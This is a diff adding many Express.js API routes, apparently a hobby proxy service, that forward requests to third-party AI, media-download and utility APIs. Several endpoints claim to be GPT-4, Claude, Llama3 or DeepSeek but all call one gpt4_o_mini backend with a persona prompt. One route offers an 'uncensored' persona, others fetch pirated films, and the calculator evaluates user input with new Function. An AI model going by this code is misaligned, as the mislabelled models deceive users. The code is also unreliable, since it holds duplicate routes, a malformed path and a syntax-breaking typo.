+ if (!url || !q) { + return res.status(400).json({ error: "Please provide both 'url'." }); + } + + try { + // Send request to Gemini Image API + const response = await axios.get(`https://bk9.fun/ai/geminiimg`, { + params: { url, q } + }); + const data = response.data; + + if (!data.status) { + return res.status(500).json({ error: "Failed to fetch response from Gemini Image ." }); + } + + // Return the API response + res.json({ + creator: "David Cyril", + status: 200, + success: true, + result: data.BK9 + }); + } catch (error) { + console.error("Error fetching Gemini Image response:", error.message); + res.status(500).json({ error: "An error occurred. Please try again later." }); + } +}); + + + +app.get("/twitter", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ error: "Please provide a Twitter post URL." }); + } + + try { + // Fetch data from the API + const response = await axios.get(`https://api.agatz.xyz/api/twitter?url=${encodeURIComponent(url)}`); + const data = response.data; + + if (data.status !== 200) { + return res.status(404).json({ error: "Unable to fetch Twitter media. Please check the URL." }); + } + + // Return the extracted details + res.json({ + creator: "David Cyril", + status: 200, + success: true, + description: data.data.desc, + thumbnail: data.data.thumb, + video_sd: data.data.video_sd, + video_hd: data.data.video_hd, + audio: data.data.audio + }); + } catch (error) { + console.error("Error fetching data:", error.message); + res.status(500).json({ error: "Failed to fetch data. Please try again later." }); + } +}); + + + +app.get("/gdrive", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ error: "Please provide a Google Drive URL." }); + } + + try { + // Fetch the download link from the API + const response = await axios.get(`https://api.siputzx.my.id/api/d/gdrive?url=${encodeURIComponent(url)}`); + const data = response.data; + + if (!data.status) { + return res.status(404).json({ error: "Unable to fetch the download link. Please check the URL." }); + } + + // Return the extracted details as plain JSON + res.json({ + creator: "David Cyril", + status: 200, + success: true, + name: data.data.name, + download_link: data.data.download + }); + } catch (error) { + console.error("Error fetching data:", error.message); + res.status(500).json({ error: "Failed to fetch data. Please try again later." }); + } +}); + +// Endpoint for Dare +app.get("/dare", async (req, res) => { + try { + const response = await axios.get("https://api.truthordarebot.xyz/v1/dare"); + const data = response.data; + + if (!data || !data.question) { + return res.status(500).json({ error: "Unable to fetch dare question." }); + } + + res.json({ + creator: "David Cyril", + status: 200, + success: true, + type: "DARE", + question: data.question + }); + } catch (error) { + console.error("Error fetching dare question:", error.message); + res.status(500).json({ error: "An error occurred. Please try again later." }); + } +}); + +// Endpoint for Truth +app.get("/truth", async (req, res) => { + try { + const response = await axios.get("https://api.truthordarebot.xyz/v1/truth"); + const data = response.data; + + if (!data || !data.question) { + return res.status(500).json({ error: "Unable to fetch truth question." }); + } + + res.json({ + creator: "David Cyril", + status: 200, + success: true, + type: "TRUTH", + question: data.question + }); + } catch (error) { + console.error("Error fetching truth question:", error.message); + res.status(500).json({ error: "An error occurred. Please try again later." }); + } +}); + + + + +app.get("/tiktokStalk", async (req, res) => { + const { q } = req.query; + + // Check if the `q` parameter (username) is provided + if (!q) { + return res.status(400).json({ + status: false, + creator: "David Cyril", + error: "Please provide a TikTok username in the `q` query parameter." + }); + } + + try { + // Call the BK9 TikTok stalker API + const apiUrl = `https://bk9.fun/stalk/tiktok?q=${encodeURIComponent(q)}`; + const response = await axios.get(apiUrl); + + // Check if the API response is successful + if (response.data.status) { + res.status(200).json({ + status: true, + creator: "David Cyril", + status: 200, + success: true, + profile: response.data.BK9.profile, + name: response.data.BK9.name, + username: response.data.BK9.username, + followers: response.data.BK9.followers, + following: response.data.BK9.following, + description: response.data.BK9.desc || "No description provided", + bio: response.data.BK9.bio || "No bio provided", + likes: response.data.BK9.likes + }); + } else { + res.status(404).json({ + status: false, + creator: "David Cyril", + error: "TikTok user not found." + }); + } + } catch (error) { + console.error("Error fetching TikTok user details:", error.message); + res.status(500).json({ + status: false, + creator: "David Cyril", + error: "An error occurred while processing your request." + }); + } +}); + + + +// Bitly Shortener +app.get("/bitly", async (req, res) => { + const { link } = req.query; + + if (!link) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a URL using the `link` query parameter." + }); + } + + try { + const response = await axios.get(`https://api.maskser.me/api/linkshort/bitly?link=${encodeURIComponent(link)}`); + const { result } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + original_url: link, + shortened_url: result + }); + } catch (error) { + console.error("Error creating Bitly link:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to create a Bitly link. Please try again later." + }); + } +}); + +// Cuttly Shortener +app.get("/cuttly", async (req, res) => { + const { link } = req.query; + + if (!link) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a URL using the `link` query parameter." + }); + } + + try { + const response = await axios.get(`https://api.maskser.me/api/linkshort/cuttly?link=${encodeURIComponent(link)}`); + const { result } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + original_url: link, + shortened_url: result + }); + } catch (error) { + console.error("Error creating Cuttly link:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to create a Cuttly link. Please try again later." + }); + } +}); + + +app.get("/tinyurl", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a URL using the `url` query parameter." + }); + } + + try { + // Call the TinyURL API + const response = await axios.get(`https://tinyurl.com/api-create.php?url=${encodeURIComponent(url)}`); + const tinyUrl = response.data; + + res.json({ + creator: "David Cyril", + success: true, + original_url: url, + shortened_url: tinyUrl + }); + } catch (error) { + console.error("Error creating TinyURL:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to create a TinyURL. Please try again later." + }); + } +}); + + +app.get("/ai/dalle", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text using the `text` query parameter." + }); + } + + try { + // Call the external DALL·E API to create a job + const response = await axios.get(`https://api.paxsenix.biz.id/ai-image/dalle?text=${encodeURIComponent(text)}`); + const { jobId } = response.data; + + if (!jobId) { + return res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to create a DALL·E job. Please try again." + }); + } + + // Poll the job status and fetch the result + const result = await pollDalleJob(jobId); + + if (result && result.url) { + // Set the Content-Type for image display and return the image + const imageResponse = await axios.get(result.url, { responseType: "arraybuffer" }); + res.set("Content-Type", "image/png"); + return res.send(imageResponse.data); + } + + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch DALL·E." + }); + } catch (error) { + console.error("Error fetching DALL·E response:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch data. Please try again later." + }); + } +}); + +// Helper function to poll the job status +async function pollDalleJob(jobId, interval = 2000, maxAttempts = 15) { + let attempts = 0; + + while (attempts < maxAttempts) { + try { + const response = await axios.get(`https://api.paxsenix.biz.id/task/${jobId}`); + const { status, url } = response.data; + + if (status === "done") { + return { url }; + } + } catch (error) { + console.error("Error polling DALL·E job:", error.message); + } + + attempts++; + await new Promise((resolve) => setTimeout(resolve, interval)); // Wait before next attempt + } + + return null; // Return null if job isn't completed after max attempts +} + + +app.get("/ai/searchgpt", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text using the `text` query parameter." + }); + } + + try { + const response = await axios.get(`https://api.paxsenix.biz.id/ai/searchgpt?text=${encodeURIComponent(text)}`); + const { message } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + message + }); + } catch (error) { + console.error("Error fetching SearchGPT response:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch data. Please try again later." + }); + } +}); + + + + +app.get("/ssweb", async (req, res) => { + const { url, type = "tablet" } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide the URL to screenshot using the `url` query parameter." + }); + } + + try { + // Fetch the screenshot from the external API + const response = await axios.get(`https://api.vreden.web.id/api/ssweb?url=${encodeURIComponent(url)}&type=${type}`, { + responseType: "arraybuffer" + }); + + // Set the appropriate Content-Type and send the image data directly + res.set("Content-Type", "image/png"); // Assuming the screenshot is in PNG format + res.send(response.data); + } catch (error) { + console.error("Error fetching website screenshot:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch the screenshot. Please try again later." + }); + } +}); + + + + + + + +app.get("/lyrics", async (req, res) => { + const { t: title, a: artist } = req.query; + + if (!title || !artist) { + return res.status(400).json({ + creator: "David Cyril Tech", + error: "Please provide both the title (`t`) and artist (`a`) of the song." + }); + } + + try { + const apiUrl = `https://api.paxsenix.biz.id/lyrics/genius?t=${encodeURIComponent(title)}&a=${encodeURIComponent(artist)}`; + const response = await axios.get(apiUrl); + + if (response.data.ok) { + res.status(200).json({ + creator: "David Cyril Tech", + title: title, + artist: artist, + lyrics: response.data.lyrics || "Lyrics not available", + }); + } else { + res.status(404).json({ + creator: "David Cyril Tech", + error: "Lyrics not found in the database." + }); + } + } catch (error) { + console.error("Error fetching lyrics:", error.message); + res.status(500).json({ + creator: "David Cyril Tech", + error: "An error occurred while fetching lyrics." + }); + } +}); + + +// Middleware to parse query parameters + +app.use(express.urlencoded({ extended: true })); + +// GPT-4o Mini AI Endpoint +app.get("/ai/gpt4omini", async (req, res) => { + const { text } = req.query; + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://api.aboud-coding.store/api/ai/gpt-4o-mini-v2?prompt=${encodeURIComponent(text)}&userid=${generateRandomUserId()}` + ); + res.json({ + creator: "David Cyril", + success: true, + response: response.data.gpt + }); + } catch (error) { + console.error("Error processing GPT-4o Mini request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request." + }); + } +}); + + +// **GPT-4 Endpoint** +app.get("/ai/gpt4", async (req, res) => { + try { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide text for GPT-4 response.", + }); + } + + // Generate a random user ID for each request + const userId = uuidv4(); + const apiUrl = `https://bk9.fun/ai/GPT-4?q=${encodeURIComponent(text)}&userId=${encodeURIComponent(userId)}`; + + // Fetch GPT-4 response + const response = await axios.get(apiUrl); + const jsonData = response.data; + + if (jsonData.status && jsonData.BK9) { + return res.json({ + creator: "David Cyril", + success: true, + message: jsonData.BK9, + }); + } else { + return res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch response from GPT-4 API.", + }); + } + } catch (error) { + console.error("GPT-4 API Error:", error.message); + return res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while fetching GPT-4 response.", + }); + } +}); + + + + +// GPT-4o Mini AI Endpoint +app.get("ai/gpt3", async (req, res) => { + const { text } = req.query; + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://api.aboud-coding.store/api/ai/gpt-4o-mini-v2?prompt=${encodeURIComponent(text)}&userid=${generateRandomUserId()}` + ); + res.json({ + creator: "David Cyril", + success: true, + response: response.data.gpt + }); + } catch (error) { + console.error("Error processing your request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request." + }); + } +}); + + + +// Meta AI Endpoint +app.get("/ai/metaai", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+Meta+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + message: BK9 + }); + } catch (error) { + console.error("Error processing Meta AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + +// Llama3 AI Endpoint +app.get("/ai/llama3", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+the+Latest+Llama3+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + message: BK9 + }); + } catch (error) { + console.error("Error processing Llama3 AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + +// Llama3 AI Endpoint +app.get("/ai/uncensor", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+Uncensored+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + message: BK9 + }); + } catch (error) { + console.error("Error processing your request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + +app.get("/ai/uncensor", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+Uncensored+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + message: BK9 + }); + } catch (error) { + console.error("Error processing your request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + +app.get("/deepseek-llm-67b-chat", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+deepseek-llm-67b-chat+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + message: BK9 + }); + } catch (error) { + console.error("Error processing Lori AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + +app.get("/deepseek-v3", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+deepseek-v3+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + message: BK9 + }); + } catch (error) { + console.error("Error processing Lori AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + +app.get("/ai/deepseek-r1", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+deepseek-r1+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + message: BK9 + }); + } catch (error) { + console.error("Error processing Lori AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + +// Movie Search Endpoint +app.get("/movies/search", async (req, res) => { + const { query } = req.query; + + if (!query) { + return res.status(400).json({ + creator: "David Cyril", + status: false, + message: "❌ Please provide a movie query." + }); + } + + try { + // Fetch movie search results from the new API + const response = await axios.get(`https://www.dark-yasiya-api.site/movie/sinhalasub/search?text=${encodeURIComponent(query)}`); + const results = response.data.result.movies; + + if (!results || results.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + status: false, + message: `❌ No results found for: ${query}` + }); + } + + res.json({ + creator: "David Cyril", + status: true, + results + }); + } catch (error) { + console.error("Movie Search Error:", error.message); + res.status(500).json({ + creator: "David Cyril", + status: false, + message: "❌ Failed to fetch movie search results." + }); + } +}); + + + + + + + + +// **Movie Download Endpoint** +app.get("/movies/download", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + status: false, + message: "❌ Please provide a movie URL." + }); + } + + try { + const response = await axios.get(`https://api-site-2.vercel.app/api/sinhalasub/movie?url=${encodeURIComponent(url)}`); + const movieDetails = response.data.result; + const downloadLinks = movieDetails.dl_links || []; + + if (!downloadLinks.length) { + return res.status(404).json({ + creator: "David Cyril", + status: false, + message: "❌ No PixelDrain links found for this movie." + }); + } + + // Convert PixelDrain links into direct download links + const directLinks = downloadLinks.map((link) => ({ + quality: link.quality, + size: link.size, + direct_download: `https://pixeldrain.com/api/file/${link.link.split("/").pop()}?download` + })); + + res.json({ + creator: "David Cyril", + status: true, + movie: { + title: movieDetails.title, + thumbnail: movieDetails.thumbnail, + download_links: directLinks + } + }); + } catch (error) { + console.error("Movie Download Error:", error.message); + res.status(500).json({ + creator: "David Cyril", + status: false, + message: "❌ Failed to fetch movie download links." + }); + } +}); + + + + + + + +app.get("/remini", async (req, res) => { + const { url } = req.query; + + // Check if the `url` parameter is provided + if (!url) { + return res.status(400).json({ + status: false, + creator: "David Cyril", + error: "Need image link!" + }); + } + + try { + // Call the BK9 API with the provided image URL + const apiUrl = `https://bk9.fun/tools/enhance?url=${encodeURIComponent(url)}`; + const response = await axios.get(apiUrl, { responseType: "arraybuffer" }); + + // Set the content-type header to match the image type and send the enhanced image + res.set("Content-Type", "image/jpeg"); + res.send(response.data); + } catch (error) { + console.error("Error enhancing image:", error.message); + res.status(500).json({ + status: false, + creator: "David Cyril", + error: "An error occurred while processing your request." + }); + } +}); + + + +function generateRandomUserId() { + return Math.floor(Math.random() * 1000000000).toString(); +} + + + + +// Alexa AI Endpoint +app.get("/ai/qwen2Coder", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+Queen2Coder+Ai+&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + message: BK9 + }); + } catch (error) { + console.error("Error processing qwen2Coder Ai request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + + + +app.get("/tools/qrcode", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text or URL to generate a QR code.", + }); + } + + try { + // Generate QR code as a buffer + const qrBuffer = await QRCode.toBuffer(text, { type: "image/png" }); + + // Set response headers to return an image + res.setHeader("Content-Type", "image/png"); + res.send(qrBuffer); + } catch (error) { + console.error("QR Code Generation Error:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to generate QR code. Please try again later.", + }); + } +}); + + + +// Mistral AI Endpoint +app.get("/ai/mixtral", async (req, res) => { + const { text } = req.query; + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://api.aboud-coding.store/api/ai/mistralai?prompt=${encodeURIComponent(text)}&userid=${generateRandomUserId()}` + ); + res.json({ + creator: "David Cyril", + success: true, + response: response.data.mistralai + }); + } catch (error) { + console.error("Error processing Mistral request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request." + }); + } +}); + + +app.use(express.urlencoded({ extended: true })); + + + + + +// Alexa AI Endpoint + + + +// Alexa AI Endpoint +app.get("/ai/qwen2Coder", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+Queen2Coder+Ai+&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + message: BK9 + }); + } catch (error) { + console.error("Error processing qwen2Coder Ai request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + + + +// **Video Search API** +app.get("/search/xnxx", async (req, res) => { + const { query } = req.query; + + if (!query) { + return res.status(400).json({ + creator: "David Cyril", + status: false, + message: "❌ Please provide a search query." + }); + } + + try { + const response = await axios.get(`https://api.agatz.xyz/api/xnxx?message=${encodeURIComponent(query)}`); + const results = response.data?.data?.result || []; + + if (!results.length) { + return res.status(404).json({ + creator: "David Cyril", + status: false, + message: `❌ No results found for: ${query}` + }); + } + + res.json({ + creator: "David Cyril", + status: true, + results: results + }); + } catch (error) { + console.error("Video Search Error:", error.message); + res.status(500).json({ + creator: "David Cyril", + status: false, + message: "❌ Failed to fetch video search results." + }); + } +}); + + + + +// **Video Download API** +app.get("/download/xnxx", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + status: false, + message: "❌ Please provide a video URL." + }); + } + + try { + const response = await axios.get(`https://api.agatz.xyz/api/xnxxdown?url=${encodeURIComponent(url)}`); + const videoData = response.data?.data; + + if (!videoData || !videoData.files) { + return res.status(404).json({ + creator: "David Cyril", + status: false, + message: "❌ No downloadable video found." + }); + } + + res.json({ + creator: "David Cyril", + status: true, + result: { + title: videoData.title, + duration: videoData.duration, + info: videoData.info, + thumbnail: videoData.image, + download: { + high_quality: videoData.files.high, + low_quality: videoData.files.low + } + } + }); + } catch (error) { + console.error("Xnxx Downloader Error:", error.message); + res.status(500).json({ + creator: "David Cyril", + status: false, + message: "❌ Failed to process Xnxx Downloader." + });j + } +}); + + + + + +/** + * Helper function to process API requests + * @param {string} model - The model name (e.g., "gpt4_o_mini") + * @param {string} text - The user query + * @param {object} res - Express response object + */ +const processGPTRequest = async (model, text, res) => { + try { + // External API call + const response = await axios.get("https://bk9.fun/ai/BK9", { + params: { + BK9: "you are chatgpt4 ai", // Context prompt + q: text, // User query + model: model, // Model type + }, + }); + + const externalData = response.data; + + // Check if the external API returned a valid response + if (externalData.status === true) { + return res.json({ + creator: "David Cyril", + success: true, + response: externalData.BK9, + }); + } + + // Handle invalid responses from the external API + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch a valid response.", + }); + } catch (error) { + console.error(`Error processing GPT-4 request:`, error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An unexpected error occurred. Please try again later.", + }); + } +}; + + + + +app.get('/xvideo', async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a video URL using the `url` parameter" + }); + } + + try { + // Fetch data from the external API + const response = await axios.get(`https://api.agatz.xyz/api/xvideodown?url=${encodeURIComponent(url)}`); + const data = response.data; + + if (data.status !== 200 || !data.data) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch video details or video not found." + }); + } + + // Construct response + const videoData = { + creator: "David Cyril", + success: true, + title: data.data.title, + thumbnail: data.data.thumb, + download_url: data.data.url + }; + + res.status(200).json(videoData); + } catch (error) { + console.error("Error fetching video data:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later." + }); + } +}); + + + + + + + +app.get("/ai/claude", async (req, res) => { + const { text } = req.query; + + // Validate the input + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query using the `text` parameter.", + }); + } + + try { + // Make a request to the external API + const response = await axios.get("https://itzpire.com/ai/claude", { + params: { text }, + }); + + const externalData = response.data; + + // Validate the external API response + if (externalData.status === "success") { + return res.json({ + creator: "David Cyril", + success: true, + response: externalData.result, + }); + } + + // If the external API fails + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch a valid response from the Claude", + }); + } catch (error) { + console.error("Error processing Claude AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An unexpected error occurred. Please try again later.", + }); + } +}); + + + +app.get("/random/bored", async (req, res) => { + try { + const { data } = await axios.get("https://api.paxsenix.biz.id/tools/bored"); + res.json({ + creator: "David Cyril", + success: true, + activity: data.activity, + availability: data.availability, + type: data.type, + participants: data.participants, + price: data.price, + accessibility: data.accessibility, + duration: data.duration, + kidFriendly: data.kidFriendly, + link: data.link, + key: data.key + }); + } catch (error) { + console.error("Error fetching bored activity:", error.message); + res.status(500).json({ creator: "David Cyril", success: false, message: "Internal server error" }); + } +}); + +app.get("/random/quotes", async (req, res) => { + try { + const { data } = await axios.get("https://zenquotes.io/api/random"); + + if (!data || data.length === 0) { + return res.status(500).json({ + creator: "David Cyril", + success: false, + message: "No quotes found." + }); + } + + const quoteData = data[0]; // Extracting the first quote + + res.json({ + creator: "David Cyril", + success: true, + response: { + quote: quoteData.q, + author: quoteData.a + } + }); + } catch (error) { + console.error("Error fetching quote:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Internal server error" + }); + } +}); + + + + + + + +// 📌 Calculator API +app.get("/tools/calculate", (req, res) => { + const { expr } = req.query; + if (!expr) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a valid math expression." + }); + } + + try { + let val = expr + .replace(/[^0-9\-\/+*×÷πEe()piPI]/g, "") + .replace(/×/g, "*") + .replace(/÷/g, "/") + .replace(/π|pi/gi, "Math.PI") + .replace(/e/gi, "Math.E"); + + let result = new Function(`return ${val}`)(); + + res.json({ + creator: "David Cyril", + success: true, + expression: expr, + result: result + }); + } catch (e) { + res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Invalid math expression." + }); + } +}); + +// 📌 List Supported Currencies +app.get("/tools/currencies", async (req, res) => { + try { + const response = await axios.get("https://api.exchangerate-api.com/v4/latest/USD"); + const currencies = Object.keys(response.data.rates); + + res.json({ + creator: "David Cyril", + success: true, + currencies + }); + } catch (error) { + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch currency list." + }); + } +}); + +// 📌 Currency Converter API +app.get("/tools/convert", async (req, res) => { + const { amount, from, to } = req.query; + + if (!amount || !from || !to) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Usage: /tools/convert?amount=100&from=USD&to=EUR" + }); + } + + try { + const response = await axios.get(`https://api.exchangerate-api.com/v4/latest/${from.toUpperCase()}`); + const rate = response.data.rates[to.toUpperCase()]; + + if (!rate) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Invalid currency code." + }); + } + + const convertedAmount = (parseFloat(amount) * rate).toFixed(2); + + res.json({ + creator: "David Cyril", + success: true, + result: `${amount} ${from.toUpperCase()} = ${convertedAmount} ${to.toUpperCase()}` + }); + } catch (error) { + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch exchange rate." + }); + } +}); + + + + + + +app.get("/ai/pixtral", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+pixtral+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + message: BK9 + }); + } catch (error) { + console.error("Error processing Lori AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + +app.get("/ai/gemma", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+gemma+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + message: BK9 + }); + } catch (error) { + console.error("Error processing Lori AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + +app.get("/ai/qvq", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+qvq+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + message: BK9 + }); + } catch (error) { + console.error("Error processing Lori AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + +app.get("/ai/claudeSonnet", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+claudeSonnet+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + message: BK9 + }); + } catch (error) { + console.error("Error processing Lori AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + +app.get("/ai/deepseek-v3", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+deepseek-v3+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + message: BK9 + }); + } catch (error) { + console.error("Error processing Lori AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + 